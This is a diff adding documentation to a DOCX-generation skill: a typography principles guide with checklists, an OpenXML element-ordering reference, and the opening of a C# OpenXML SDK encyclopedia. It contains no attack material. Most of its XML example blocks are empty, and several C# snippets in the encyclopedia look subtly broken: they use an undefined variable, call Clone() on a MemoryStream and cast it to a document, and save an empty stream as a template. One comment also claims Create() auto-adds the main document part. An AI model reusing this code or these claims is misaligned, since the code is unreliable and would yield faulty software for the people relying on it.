-- #333333 or #2D2D2D reduces glare without losing legibility. + +### Good Example + +```xml + + + + + + + + + + + + + + + + + + + + + + + + + + +``` + +``` + Visual hierarchy (good): + + [████████████████████] <- H1: 20pt bold navy (clearly dominant) + (generous space) + [██████████████] <- H2: 16pt bold navy (distinct step down) + (moderate space) + [████████████] <- H3: 13pt bold navy (smaller but still bold) + [░░░░░░░░░░░░░░░░░░░░░░] <- Body: 11pt regular gray + [░░░░░░░░░░░░░░░░░░░░░░] + [░░░░░░░░░░░░░░░░░░░░░░] +``` + +Each level is visually distinct from its neighbors. You can identify the +hierarchy even in peripheral vision. + +### Bad Example + +```xml + + + + + + + + + + + + + + + + + + + + + + + + + + +``` + +Problems: +- H3 (12pt bold) and body (12pt regular) differ only by weight -- too subtle. +- H1 (14pt) to H2 (13pt) is a 1pt step -- invisible at reading distance. +- Everything is pure black so color provides no differentiating signal. +- The ratio between levels is ~1.07, far too flat. + +### Quick Test + +1. **The squint test**: blur your eyes or step back from the screen. Can you + count the number of heading levels? If two levels merge, their contrast + is insufficient. +2. **Ratio check**: divide each heading size by the next smaller size. If any + ratio is below 1.15, the levels will look too similar. +3. **Color check**: do headings look distinct from body text when you glance + at the page? If everything is the same color, you are relying solely on + size/weight, which limits your hierarchy to ~3 effective levels. + +--- + +## 3. Proximity & Grouping + +### Why It Works + +The Gestalt principle of proximity: items that are close together are perceived +as belonging to the same group. In document typography, this means a heading +must be **closer to the content it introduces** than to the content above it. + +If a heading sits equidistant between two paragraphs, it looks orphaned -- the +reader's eye does not know if it belongs to the text above or below. The fix +is asymmetric spacing: **large space before the heading, small space after**. + +The recommended ratio is 2:1 or 3:1 (space-before : space-after). + +This same principle applies to: +- **List items**: spacing between items should be less than spacing between + paragraphs. Items in a list are a group and should visually cluster. +- **Captions**: a figure caption should be close to its figure, not floating + in the middle between the figure and the next paragraph. +- **Table titles**: the title sits close above the table, with more space + separating the title from preceding text. + +### Good Example + +```xml + + + + + + + + + + + + + + + + +``` + +``` + Proximity (good): + + ...end of previous section text. + <- 18pt gap (w:before="360") + ## Section Heading + <- 6pt gap (w:after="120") + First paragraph of new section + continues here with content. + <- 8pt gap (w:after="160") + Second paragraph follows. + + The heading clearly "belongs to" the text below it. +``` + +``` + List grouping (good): + + Consider these factors: + - First item <- 2pt gap between items + - Second item <- items cluster as a group + - Third item + <- 8pt gap after list + The next paragraph starts here. +``` + +### Bad Example + +```xml + + + + + + + + + + + +``` + +``` + Proximity (bad): + + ...end of previous section text. + <- 12pt gap + ## Section Heading + <- 12pt gap (same!) + First paragraph of new section. + + The heading floats between sections. It is unclear what it belongs to. +``` + +``` + List grouping (bad): + + Consider these factors: + <- 10pt gap + - First item + <- 10pt gap (same as paragraphs) + - Second item + <- 10pt gap + - Third item + <- 10pt gap + Next paragraph. + + The list does not feel like a group. Each item looks like a + separate paragraph that happens to have a bullet. +``` + +### Quick Test + +1. **Cover test**: cover the heading text. Looking only at the whitespace, + can you tell which block of text the heading belongs to? If the gaps above + and below are equal, the answer is "no." +2. **Number check**: `w:before` on headings should be at least 2x `w:after`. + Common good values: before=360 / after=120, or before=240 / after=80. +3. **List check**: `w:after` on list items should be less than half of + `w:after` on body paragraphs. If body uses 160, list items should use + 40-60. + +--- + +## 4. Alignment & Grid + +### Why It Works + +Alignment creates invisible lines that the eye follows down the page. When +elements share the same left edge, the reader perceives order and intention. +When elements are slightly misaligned (off by a few twips), the page looks +sloppy even if the reader cannot consciously identify why. + +**Left-align vs Justify:** + +- **Left-aligned** (ragged right) is best for English and other Latin-script + languages. The uneven right edge actually helps reading because each line + has a unique silhouette, making it easier for the eye to find the next line. + Justified text forces uneven word spacing that creates distracting "rivers" + of white running vertically through paragraphs. + +- **Justified** is best for CJK text. Chinese, Japanese, and Korean characters + are monospaced by design -- each occupies the same cell in an invisible grid. + Justification preserves this grid perfectly. Ragged right in CJK text breaks + the grid and looks untidy. + +**Indentation rule:** Use first-line indent OR paragraph spacing to separate +paragraphs -- never both. They serve the same purpose (marking paragraph +boundaries). Using both wastes space and creates visual stutter. + +- Western convention: paragraph spacing (no indent) is more modern. +- CJK convention: first-line indent of 2 characters is standard. +- Academic convention: first-line indent of 0.5 inch is traditional. + +### Good Example + +```xml + + + + + + + + + + + + + + + + + + + + + +``` + +``` + English paragraph separation (good -- spacing, no indent): + + This is the first paragraph with some text + that wraps to a second line naturally. + + This is the second paragraph. The gap above + clearly marks the boundary. + + + CJK paragraph separation (good -- indent, no spacing): + +   第一段正文内容从这里开始,使用两个字符 + 的首行缩进来标记段落边界。 +   第二段紧跟其后,没有段间距,但首行缩进 + 清晰地标识了新段落的开始。 +``` + +### Bad Example + +```xml + + + + + + + + + + + + + +``` + +Problems: +- Justified English text with narrow columns creates uneven word gaps. +- Using both first-line indent AND paragraph spacing is redundant. +- Left-aligned CJK breaks the character grid that CJK readers expect. +- CJK with spacing-based separation looks like translated western layout. + +### Quick Test + +1. **River test**: in justified English text, squint and look for vertical + white streaks running through the paragraph. If you see them, switch to + left-align or increase the column width. +2. **Double signal check**: does the document use BOTH first-line indent AND + paragraph spacing? If yes, remove one. Choose indent for CJK/academic, + spacing for modern western. +3. **Tab alignment**: if you use tabs for columns, do all tab stops across + the document use the same positions? Inconsistent tab stops create jagged + invisible grid lines. + +--- + +## 5. Repetition & Consistency + +### Why It Works + +Consistency is a trust signal. When a reader sees that every H2 looks the same, +every table follows the same pattern, and every page number sits in the same +spot, they unconsciously trust that the document was crafted with care. A single +inconsistency -- one H2 that is 15pt instead of 14pt, one table with different +borders -- breaks that trust and makes the reader question the content. + +Consistency also reduces cognitive load. Once the reader learns "bold dark blue += section heading," they stop spending mental effort on identifying structure +and focus entirely on content. Every inconsistency forces them to re-evaluate: +"Is this a different kind of heading, or did someone just forget to apply the +style?" + +The implementation rule is simple: **use named styles, not direct formatting.** +If you define Heading2 as a style and apply it everywhere, consistency is +automatic. If you manually set font size, bold, and color on each heading +individually, inconsistency is inevitable. + +### Good Example + +```xml + + + + + + + + + + + + + + + + + + + + + + + + + + Market Analysis + +``` + +When using a table style, define it once and reference it for every table: + +```xml + + + + + +``` + +### Bad Example + +```xml + + + + + + + + + + + + Market Analysis + + + + + + + + + + + + + + + Financial Overview + + +``` + +Problems: +- No style references -- everything is direct formatting. +- Second H2 has different size (30 vs 32), color, and spacing. +- If there are 20 headings, each could drift slightly differently. +- Changing the design later means editing every heading individually. + +### Quick Test + +1. **Style audit**: does every paragraph reference a `w:pStyle`? If you find + paragraphs with only direct formatting and no style, that is a consistency + risk. +2. **Search for variance**: search the XML for all `w:sz` values used with + `w:b` (bold). If you find three different sizes for what should be the same + heading level, there is an inconsistency. +3. **Table check**: do all tables in the document reference the same + `w:tblStyle`? If some tables have manual border definitions while others + use a style, the document will look patchy. +4. **Page numbers**: check that header/footer content is defined in the + default section properties and inherited by all sections, not redefined + inconsistently in each section. + +--- + +## 6. Visual Hierarchy & Flow + +### Why It Works + +A well-designed document guides the reader's eye in a predictable path: +title at the top, subtitle below it, section headings as signposts, body text +as the main content, footnotes and captions as supporting details. This flow +mirrors reading priority -- the most important information is the most visually +prominent. + +Each level in the hierarchy must be **distinguishable from its adjacent +levels**. It is not enough for H1 to differ from body text; H1 must also +clearly differ from H2, and H2 from H3. If any two adjacent levels are too +similar, the hierarchy collapses at that point. + +Effective hierarchy uses **multiple simultaneous signals**: + +| Level | Size | Weight | Color | Spacing above | +|----------|-------|---------|---------|---------------| +| Title | 26pt | Bold | #1F3864 | 0 (top) | +| Subtitle | 15pt | Regular | #4472C4 | 4pt | +| H1 | 20pt | Bold | #1F3864 | 24pt | +| H2 | 16pt | Bold | #1F3864 | 18pt | +| H3 | 13pt | Bold | #1F3864 | 12pt | +| Body | 11pt | Regular | #333333 | 0pt | +| Caption | 9pt | Italic | #666666 | 4pt | +| Footnote | 9pt | Regular | #666666 | 0pt | + +Notice how each level differs from its neighbors on at least two dimensions +(size + weight, or size + color, or weight + style). Single-dimension +differences are fragile and can be missed. + +**Section breaks** create rhythm in long documents. A page break before each +major section (H1) gives the reader a mental reset. Within sections, consistent +heading + body patterns create a predictable cadence that makes long documents +less intimidating. + +### Good Example + +```xml + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +``` + +``` + Visual flow (good): + + +----------------------------------+ + | | + | ANNUAL REPORT 2025 | <- Title: 26pt bold navy centered + | Acme Corporation | <- Subtitle: 15pt regular blue + | | + | | + +----------------------------------+ + + +----------------------------------+ + | | + | 1. Executive Summary | <- H1: 20pt bold navy (page break) + | | + | Body text introducing the | <- Body: 11pt regular gray + | main findings of the year. | + | | + | 1.1 Revenue Highlights | <- H2: 16pt bold navy + | | + | Revenue grew by 23% year | <- Body + | over year, driven by... | + | | + | Figure 1: Revenue Growth | <- Caption: 9pt italic gray + | | + +----------------------------------+ + + Each level is immediately identifiable. The eye flows naturally + from title -> heading -> body -> caption. +``` + +### Bad Example + +```xml + + + + + + + + + + + + + + + + + + + +``` + +Problems: +- H1 at 14pt is too close to body at 11pt (ratio 1.27 -- acceptable in + isolation but with black color matching body, the hierarchy is weak). +- Caption is indistinguishable from body text. +- No page breaks means major sections bleed into each other with no + visual rhythm. +- Everything is black, so color provides zero hierarchy signal. + +### Quick Test + +1. **The squint test**: blur your eyes while looking at a full page. You + should see 3-4 distinct "weight levels" of gray. If the page looks like + one uniform shade, the hierarchy is too flat. +2. **The scan test**: flip through pages quickly. Can you identify section + boundaries in under one second per page? If yes, the visual hierarchy is + working. If pages blur together, you need stronger differentiation at H1. +3. **Adjacent level test**: for each heading level, check that it differs + from the next level on at least 2 of: size, weight, color, style (italic). + Single-dimension differences get lost. +4. **Rhythm test**: in a document over 10 pages, do major sections (H1) start + on new pages? If not, long documents will feel like an undifferentiated + stream. Add `w:pageBreakBefore` to Heading1. + +--- + +## Summary: Decision Checklist + +When you are unsure about a typographic choice, run through these checks: + +| Principle | Question | If No... | +|-----------|----------|----------| +| White Space | Does the page have at least 30% white space? | Increase margins or spacing | +| Contrast | Can I count heading levels by squinting? | Increase size ratios (target 1.25x) | +| Proximity | Does each heading clearly belong to text below it? | Make space-before > space-after (2:1) | +| Alignment | Is English left-aligned and CJK justified? | Switch alignment mode | +| Repetition | Do all same-level elements use the same style? | Replace direct formatting with styles | +| Hierarchy | Can I see the document structure at arm's length? | Add more differentiation signals | + +**When two principles conflict, prioritize in this order:** + +1. **Readability** (white space, line spacing) -- always wins +2. **Hierarchy** (contrast, scale) -- readers must find what they need +3. **Consistency** (repetition) -- builds trust +4. **Aesthetics** (alignment, grouping) -- the finishing touch diff --git a/skills/minimax-docx/references/openxml_element_order.md b/skills/minimax-docx/references/openxml_element_order.md new file mode 100644 index 0000000..a84b5a2 --- /dev/null +++ b/skills/minimax-docx/references/openxml_element_order.md @@ -0,0 +1,308 @@ +# OpenXML Child Element Ordering Rules + +Element ordering in OpenXML is defined by the XSD schema. Incorrect ordering produces invalid documents that Word may refuse to open or silently repair (potentially losing data). + +> **Key rule**: Properties elements (`*Pr`) must always be the **first child** of their parent. + +--- + +## w:document + +``` +Children in order: +1. w:background [0..1] — page background color/fill +2. w:body [0..1] — document content container +``` + +--- + +## w:body + +``` +Children in order (repeating group): +1. w:p [0..*] — paragraph +2. w:tbl [0..*] — table +3. w:sdt [0..*] — structured document tag (content control) +4. w:sectPr [0..1] — LAST child: final section properties +``` + +Note: `w:p`, `w:tbl`, and `w:sdt` are interleaved in document order. The only strict rule is that `w:sectPr` must be the **last child** of `w:body`. + +--- + +## w:p (Paragraph) + +``` +Children in order: +1. w:pPr [0..1] — paragraph properties (MUST be first) + +Then any mix of (interleaved in document order): +- w:r [0..*] — run +- w:hyperlink [0..*] — hyperlink wrapper +- w:ins [0..*] — tracked insertion +- w:del [0..*] — tracked deletion +- w:bookmarkStart [0..*] — bookmark anchor start +- w:bookmarkEnd [0..*] — bookmark anchor end +- w:commentRangeStart [0..*] — comment range start +- w:commentRangeEnd [0..*] — comment range end +- w:proofErr [0..*] — proofing error marker +- w:fldSimple [0..*] — simple field +- w:sdt [0..*] — inline content control +- w:smartTag [0..*] — smart tag +``` + +**Practical note**: After `w:pPr`, the remaining children appear in document reading order. Runs, hyperlinks, bookmarks, and comment ranges intermix freely based on their position in the text. + +--- + +## w:pPr (Paragraph Properties) + +``` +Children in order: +1. w:pStyle [0..1] — paragraph style reference +2. w:keepNext [0..1] — keep with next paragraph +3. w:keepLines [0..1] — keep lines together +4. w:pageBreakBefore [0..1] — page break before paragraph +5. w:framePr [0..1] — text frame properties +6. w:widowControl [0..1] — widow/orphan control +7. w:numPr [0..1] — numbering properties +8. w:suppressLineNumbers [0..1] +9. w:pBdr [0..1] — paragraph borders +10. w:shd [0..1] — shading +11. w:tabs [0..1] — tab stops +12. w:suppressAutoHyphens [0..1] +13. w:kinsoku [0..1] — CJK kinsoku settings +14. w:wordWrap [0..1] +15. w:overflowPunct [0..1] +16. w:topLinePunct [0..1] +17. w:autoSpaceDE [0..1] +18. w:autoSpaceDN [0..1] +19. w:bidi [0..1] — right-to-left paragraph +20. w:adjustRightInd [0..1] +21. w:snapToGrid [0..1] +22. w:spacing [0..1] — line and paragraph spacing +23. w:ind [0..1] — indentation +24. w:contextualSpacing [0..1] +25. w:mirrorIndents [0..1] +26. w:suppressOverlap [0..1] +27. w:jc [0..1] — justification (left/center/right/both) +28. w:textDirection [0..1] +29. w:textAlignment [0..1] +30. w:outlineLvl [0..1] — outline level +31. w:divId [0..1] +32. w:rPr [0..1] — run properties for paragraph mark +33. w:sectPr [0..1] — section break (section ends at this paragraph) +34. w:pPrChange [0..1] — tracked paragraph property change +``` + +--- + +## w:r (Run) + +``` +Children in order: +1. w:rPr [0..1] — run properties (MUST be first) + +Then any of (one per run, typically): +- w:t [0..*] — text content +- w:br [0..*] — break (line, page, column) +- w:tab [0..*] — tab character +- w:cr [0..*] — carriage return +- w:sym [0..*] — symbol character +- w:drawing [0..*] — DrawingML object (images) +- w:pict [0..*] — VML picture (legacy) +- w:fldChar [0..*] — complex field character +- w:instrText [0..*] — field instruction text +- w:delText [0..*] — deleted text (inside w:del) +- w:footnoteReference [0..*] +- w:endnoteReference [0..*] +- w:commentReference [0..*] +- w:lastRenderedPageBreak [0..*] +``` + +--- + +## w:rPr (Run Properties) + +``` +Children in order: +1. w:rStyle [0..1] — character style reference +2. w:rFonts [0..1] — font specification +3. w:b [0..1] — bold +4. w:bCs [0..1] — complex script bold +5. w:i [0..1] — italic +6. w:iCs [0..1] — complex script italic +7. w:caps [0..1] — all capitals +8. w:smallCaps [0..1] — small capitals +9. w:strike [0..1] — strikethrough +10. w:dstrike [0..1] — double strikethrough +11. w:outline [0..1] +12. w:shadow [0..1] +13. w:emboss [0..1] +14. w:imprint [0..1] +15. w:noProof [0..1] — suppress proofing +16. w:snapToGrid [0..1] +17. w:vanish [0..1] — hidden text +18. w:color [0..1] — text color +19. w:spacing [0..1] — character spacing +20. w:w [0..1] — character width scaling +21. w:kern [0..1] — font kerning +22. w:position [0..1] — vertical position (raise/lower) +23. w:sz [0..1] — font size (half-points) +24. w:szCs [0..1] — complex script font size +25. w:highlight [0..1] — text highlight color +26. w:u [0..1] — underline +27. w:effect [0..1] — text effect (animated) +28. w:bdr [0..1] — run border +29. w:shd [0..1] — run shading +30. w:vertAlign [0..1] — superscript/subscript +31. w:rtl [0..1] — right-to-left +32. w:cs [0..1] — complex script +33. w:lang [0..1] — language +34. w:rPrChange [0..1] — tracked run property change +``` + +--- + +## w:tbl (Table) + +``` +Children in order: +1. w:tblPr [1..1] — table properties (REQUIRED, must be first) +2. w:tblGrid [1..1] — column width definitions (REQUIRED) +3. w:tr [1..*] — table row(s) +``` + +--- + +## w:tblPr (Table Properties) + +``` +Children in order: +1. w:tblStyle [0..1] — table style reference +2. w:tblpPr [0..1] — table positioning +3. w:tblOverlap [0..1] +4. w:bidiVisual [0..1] — right-to-left table +5. w:tblStyleRowBandSize [0..1] +6. w:tblStyleColBandSize [0..1] +7. w:tblW [0..1] — preferred table width +8. w:jc [0..1] — table alignment +9. w:tblCellSpacing [0..1] +10. w:tblInd [0..1] — table indent from margin +11. w:tblBorders [0..1] — table borders +12. w:shd [0..1] — table shading +13. w:tblLayout [0..1] — fixed or autofit +14. w:tblCellMar [0..1] — default cell margins +15. w:tblLook [0..1] — conditional formatting flags +16. w:tblCaption [0..1] — accessibility caption +17. w:tblDescription [0..1] — accessibility description +18. w:tblPrChange [0..1] — tracked table property change +``` + +--- + +## w:tr (Table Row) + +``` +Children in order: +1. w:trPr [0..1] — row properties (must be first) +2. w:tc [1..*] — table cell(s) +``` + +--- + +## w:trPr (Table Row Properties) + +``` +Children in order: +1. w:cnfStyle [0..1] — conditional formatting +2. w:divId [0..1] +3. w:gridBefore [0..1] — grid columns before first cell +4. w:gridAfter [0..1] — grid columns after last cell +5. w:wBefore [0..1] +6. w:wAfter [0..1] +7. w:cantSplit [0..1] — don't split row across pages +8. w:trHeight [0..1] — row height +9. w:tblHeader [0..1] — repeat as header row +10. w:tblCellSpacing [0..1] +11. w:jc [0..1] — row alignment +12. w:hidden [0..1] +13. w:ins [0..1] — tracked row insertion +14. w:del [0..1] — tracked row deletion +15. w:trPrChange [0..1] — tracked row property change +``` + +--- + +## w:tc (Table Cell) + +``` +Children in order: +1. w:tcPr [0..1] — cell properties (must be first) +2. w:p [1..*] — paragraph(s) — at least one required +3. w:tbl [0..*] — nested table(s) +``` + +--- + +## w:tcPr (Table Cell Properties) + +``` +Children in order: +1. w:cnfStyle [0..1] +2. w:tcW [0..1] — cell width +3. w:gridSpan [0..1] — horizontal merge (column span) +4. w:hMerge [0..1] — legacy horizontal merge +5. w:vMerge [0..1] — vertical merge +6. w:tcBorders [0..1] — cell borders +7. w:shd [0..1] — cell shading +8. w:noWrap [0..1] +9. w:tcMar [0..1] — cell margins +10. w:textDirection [0..1] +11. w:tcFitText [0..1] +12. w:vAlign [0..1] — vertical alignment +13. w:hideMark [0..1] +14. w:tcPrChange [0..1] — tracked cell property change +``` + +--- + +## w:sectPr (Section Properties) + +``` +Children in order: +1. w:headerReference [0..*] — header references (type: default/first/even) +2. w:footerReference [0..*] — footer references +3. w:endnotePr [0..1] +4. w:footnotePr [0..1] +5. w:type [0..1] — section break type (nextPage/continuous/evenPage/oddPage) +6. w:pgSz [0..1] — page size +7. w:pgMar [0..1] — page margins +8. w:paperSrc [0..1] +9. w:pgBorders [0..1] — page borders +10. w:lnNumType [0..1] — line numbering +11. w:pgNumType [0..1] — page numbering +12. w:cols [0..1] — column definitions +13. w:formProt [0..1] +14. w:vAlign [0..1] — vertical alignment of page +15. w:noEndnote [0..1] +16. w:titlePg [0..1] — different first page header/footer +17. w:textDirection [0..1] +18. w:bidi [0..1] +19. w:rtlGutter [0..1] +20. w:docGrid [0..1] — document grid +21. w:sectPrChange [0..1] — tracked section property change +``` + +--- + +## w:hdr (Header) / w:ftr (Footer) + +``` +Children (same structure as w:body content): +1. w:p [0..*] — paragraph(s) +2. w:tbl [0..*] — table(s) +3. w:sdt [0..*] — content controls +``` + +Headers and footers are essentially mini-documents. They follow the same content model as `w:body` but without a final `w:sectPr`. diff --git a/skills/minimax-docx/references/openxml_encyclopedia_part1.md b/skills/minimax-docx/references/openxml_encyclopedia_part1.md new file mode 100644 index 0000000..177182f --- /dev/null +++ b/skills/minimax-docx/references/openxml_encyclopedia_part1.md @@ -0,0 +1,4061 @@ +# OpenXML SDK 3.x Complete Reference Encyclopedia + +**Target:** DocumentFormat.OpenXml 3.x / .NET 8+ / C# 12 +**Last Updated:** 2026-03-22 + +This document serves as an exhaustive reference for building DOCX files with the OpenXML SDK. Every code block is ready to copy-paste. + +--- + +## Namespace Aliases Used Throughout + +```csharp +using DocumentFormat.OpenXml; +using DocumentFormat.OpenXml.Packaging; +using DocumentFormat.OpenXml.Wordprocessing; +``` + +--- + +## Table of Contents + +1. [Document Creation Skeleton](#1-document-creation-skeleton) +2. [Style System Deep Dive](#2-style-system-deep-dive) +3. [Character Formatting (RunProperties)](#3-character-formatting-runproperties--exhaustive) +4. [Paragraph Formatting (ParagraphProperties)](#4-paragraph-formatting-paragraphproperties--exhaustive) + +--- + +## 1. Document Creation Skeleton + +### 1.1 Complete Flow: Create to Save + +```csharp +// ============================================================================= +// DOCUMENT CREATION SKELETON +// ============================================================================= +// This is the minimal complete flow for creating a valid DOCX from scratch. +// Follow these steps in order: Create -> AddParts -> AddContent -> Save. +// +// Key insight: WordprocessingDocument.Create() adds MainDocumentPart automatically, +// but all other parts (Styles, Settings, Numbering, Theme) must be added manually. + +// --- STEP 1: CREATE THE PACKAGE --- +// The file path can be absolute or relative. WordprocessingDocumentType.Document +// is the standard choice for .docx files (vs. Template, MacroEnabled, etc.) +string outputPath = "C:\\Docs\\MyDocument.docx"; + +using var doc = WordprocessingDocument.Create( + outputPath, // File path + WordprocessingDocumentType.Document, // Document type enum + new DocumentOptions // Optional: AutoSave, etc. + { + AutoSave = false // true = flush changes automatically + }); + +// --- STEP 2: GET OR CREATE THE MAIN DOCUMENT PART --- +// When you call Create(), MainDocumentPart is automatically created and linked. +// You access it via .MainDocumentPart (not .AddMainDocumentPart, which would add +// a SECOND main part — illegal). For a fresh document, just use .MainDocumentPart. +var mainPart = doc.MainDocumentPart!; +var body = mainPart.Document.Body!; // Body is created automatically with the part + +// --- STEP 3: ADD ADDITIONAL PARTS --- +// These are OPTIONAL but recommended for a complete document: +// - StyleDefinitionsPart: required for styles +// - NumberingDefinitionsPart: required for bullets/numbers +// - DocumentSettingsPart: zoom, proof state, tab stops, compatibility +// - ThemePart: color/theme information +// Parts are created fresh and linked via relationships. + +// Example: Add styles part (covered in Section 2) +var stylesPart = mainPart.AddNewPart(); +stylesPart.Styles = new Styles(); +stylesPart.Styles.Save(); + +// Example: Add settings part (covered in 1.4) +var settingsPart = mainPart.AddNewPart(); +settingsPart.Settings = new Settings(); +settingsPart.Settings.Save(); + +// --- STEP 4: ADD CONTENT TO BODY --- +// Body accepts: Paragraph (w:p), Table (w:tbl), Structured Document Tag (w:sdt) +// Content is added in document order (no need for explicit index). +// IMPORTANT: SectionProperties (w:sectPr) MUST be the last child of body. +body.Append(new Paragraph( + new Run(new Text("Hello, World!")))); + +// --- STEP 5: SET SECTION PROPERTIES (PAGE LAYOUT) --- +// sectPr defines page size, margins, headers/footers, columns, etc. +// It must be the last child of body. If missing, Word uses defaults (Letter/A4, 1" margins). +var sectPr = new SectionProperties(); + +// Page Size: Width/Height in DXA (1 inch = 1440 DXA) +// Letter: 12240 x 15840 DXA (8.5" x 11") +// A4: 11906 x 16838 DXA (210mm x 297mm) +sectPr.Append(new PageSize +{ + Width = 12240u, // 8.5 inches + Height = 15840u // 11 inches +}); + +// Page Margins: all four margins in DXA +// Note: Top+Bottom margins + HeaderDistance = distance from page edge to text +sectPr.Append(new PageMargin +{ + Top = 1440, // 1 inch + Bottom = 1440, // 1 inch + Left = 1440u, // 1 inch (uint required) + Right = 1440u, // 1 inch + Header = 720u, // 0.5 inch from page edge to header + Footer = 720u // 0.5 inch from page edge to footer +}); + +// Attach sectPr to body (must be last) +body.Append(sectPr); + +// --- STEP 6: SAVE --- +// Because we use `using`, Dispose() is called automatically when the block exits. +// Dispose() saves the file. If you forget `using`, call doc.Save() explicitly. +``` + +### 1.2 Opening an Existing Document + +```csharp +// ============================================================================= +// OPENING EXISTING DOCUMENTS +// ============================================================================= +// Open() has multiple overloads: +// 1. Open(string path, bool isEditable, AutoSave) +// 2. Open(Stream, bool isEditable, AutoSave) +// 3. Open(string path, bool isEditable, OpenSettings) +// +// isEditable=true means open for read/write. false = read-only. +// isEditable=false is faster (shared locks avoided) but throws if file is read-only. + +// --- OPEN FOR EDITING (READ/WRITE) --- +string inputPath = "C:\\Docs\\Existing.docx"; +using var editDoc = WordprocessingDocument.Open( + inputPath, + isEditable: true, // Required for modification + new OpenSettings + { + AutoSave = true // Automatically save on Dispose + }); + +var body = editDoc.MainDocumentPart!.Document.Body!; +// ... make changes ... +// No explicit Save() needed if AutoSave = true + +// --- OPEN AS READ-ONLY (FASTER) --- +using var readOnlyDoc = WordprocessingDocument.Open( + inputPath, + isEditable: false, // Read-only mode + new OpenSettings + { + // MarkupDeclarationProcess options + }); + +// --- OPEN FROM STREAM --- +byte[] fileBytes = File.ReadAllBytes(inputPath); +using var streamDoc = WordprocessingDocument.Open( + new MemoryStream(fileBytes), + isEditable: true, + new OpenSettings { AutoSave = false }); + +// After editing, you MUST copy the stream back to file if AutoSave=false: +// streamDoc.MainDocumentPart.Document.Save(); +// File.WriteAllBytes(outputPath, streamStream.ToArray()); + +// --- OPEN FROM HTTP RESPONSE (WEB SCENARIO) --- +using var httpClient = new HttpClient(); +var response = await httpClient.GetAsync("https://example.com/document.docx"); +using var webStream = await response.Content.ReadAsStreamAsync(); +using var webDoc = WordprocessingDocument.Open(webStream, isEditable: true); +``` + +### 1.3 Stream-Based Creation (MemoryStream for Web) + +```csharp +// ============================================================================= +// STREAM-BASED DOCUMENT CREATION +// ============================================================================= +// Use MemoryStream when you want to: +// 1. Generate a document in memory before sending to a client +// 2. Avoid touching the filesystem (ASP.NET Core scenarios) +// 3. Return a document from an API endpoint +// +// CRITICAL: The stream MUST be seekable when you call .Open(). +// After WordprocessingDocument.Create(), the stream position is at the beginning. +// If you write to the stream BEFORE creating the document, seek to 0 first. + +// --- CREATE IN MEMORY --- +MemoryStream memStream = new MemoryStream(); + +// Create directly on a stream (no file path involved) +using (var doc = WordprocessingDocument.Create( + memStream, + WordprocessingDocumentType.Document, + new DocumentOptions { AutoSave = false })) +{ + var mainPart = doc.MainDocumentPart!; + mainPart.Document = new Document(new Body()); + mainPart.Document.Body!.Append(new Paragraph( + new Run(new Text("Generated in memory")))); + mainPart.Document.Save(); // Save to the underlying stream +} +// At this point, memStream contains the complete DOCX + +// --- SEND TO HTTP RESPONSE (ASP.NET Core) --- +// In an API controller: +[HttpGet("download")] +public async Task DownloadDocument() +{ + var memStream = new MemoryStream(); + + using (var doc = WordprocessingDocument.Create( + memStream, + WordprocessingDocumentType.Document)) + { + var mainPart = doc.MainDocumentPart!; + mainPart.Document = new Document(new Body()); + mainPart.Document.Body!.Append(new Paragraph( + new Run(new Text("Download me!")))); + mainPart.Document.Save(); + } + + memStream.Position = 0; // IMPORTANT: Reset position for reading + return File(memStream, + "application/vnd.openxmlformats-officedocument.wordprocessingml.document", + "GeneratedDocument.docx"); +} + +// --- CREATE FROM TEMPLATE IN MEMORY --- +// Useful for mail-merge style operations +MemoryStream templateStream = new MemoryStream(); +File.WriteAllBytes("template.docx", templateStream.ToArray()); // Save a template first + +using var templateSource = new MemoryStream(File.ReadAllBytes("template.docx")); +using var mergedDoc = (WordprocessingDocument)templateSource.Clone(); + +// Clone() creates an editable copy. Don't forget to set position: +mergedDoc.MainDocumentPart!.Document.Body!.Append(new Paragraph( + new Run(new Text("Added content")))); +``` + +### 1.4 Adding All Standard Parts + +```csharp +// ============================================================================= +// ADDING ALL STANDARD DOCUMENT PARTS +// ============================================================================= +// A complete document should have: +// 1. MainDocumentPart (auto-created) +// 2. StyleDefinitionsPart +// 3. NumberingDefinitionsPart +// 4. DocumentSettingsPart +// 5. ThemePart (optional) +// 6. Custom parts (headers, footers, comments, etc.) + +// --- COMPLETE SETUP METHOD --- +public static void CreateCompleteDocument(string path) +{ + using var doc = WordprocessingDocument.Create(path, WordprocessingDocumentType.Document); + var mainPart = doc.MainDocumentPart!; + + // Initialize document + mainPart.Document = new Document(new Body()); + var body = mainPart.Document.Body!; + + // Add all parts + AddStylesPart(mainPart); + AddNumberingPart(mainPart); + AddSettingsPart(mainPart); + AddThemePart(mainPart); + AddHeadersAndFooters(mainPart); + + // Add sample content + AddSampleContent(body); + + // Section properties MUST be last + body.Append(CreateSectionProperties()); + + mainPart.Document.Save(); +} + +// --- STYLES PART --- +// See Section 2 for detailed style creation +private static void AddStylesPart(MainDocumentPart mainPart) +{ + var stylesPart = mainPart.AddNewPart(); + var styles = new Styles(); + + // DocDefaults: document-wide defaults for run and paragraph properties + // These apply when no explicit style or direct formatting overrides them + styles.Append(new DocDefaults( + new RunPropertiesDefault( + new RunPropertiesBaseStyle( + new RunFonts { Ascii = "Calibri", HighAnsi = "Calibri" }, + new FontSize { Val = "22" }, // 22 half-points = 11pt + new FontSizeComplexScript { Val = "22" } + ) + ), + new ParagraphPropertiesDefault( + new ParagraphPropertiesBaseStyle( + new SpacingBetweenLines { After = "200", Line = "276", LineRule = LineSpacingRuleValues.Auto } + ) + ) + )); + + // Default Normal style + styles.Append(new Style( + new StyleName { Val = "Normal" }, + new PrimaryStyle() + ) + { Type = StyleValues.Paragraph, StyleId = "Normal", Default = true }); + + stylesPart.Styles = styles; + stylesPart.Styles.Save(); +} + +// --- NUMBERING PART --- +// Required for bulleted and numbered lists +private static void AddNumberingPart(MainDocumentPart mainPart) +{ + var numberingPart = mainPart.AddNewPart(); + var numbering = new Numbering(); + + // AbstractNum defines the list format (bullet, number, multilevel) +// Creates a bullet list definition with 3 levels + var abstractNum = new AbstractNum { AbstractNumberId = 1 }; + + // Level 0: Bullet (dot) + abstractNum.Append(new Level( + new StartNumberingValue { Val = 1 }, + new NumberingFormat { Val = NumberFormatValues.Bullet }, + new LevelText { Val = "•" }, + new LevelJustification { Val = LevelJustificationValues.Left }, + new PreviousParagraphProperties( + new Indentation { Left = "720", Hanging = "360" }) // 720 DXA indent, 360 DXA hanging + ) + { LevelIndex = 0 }); + + // Level 1: Dash + abstractNum.Append(new Level( + new StartNumberingValue { Val = 1 }, + new NumberingFormat { Val = NumberFormatValues.Bullet }, + new LevelText { Val = "–" }, + new LevelJustification { Val = 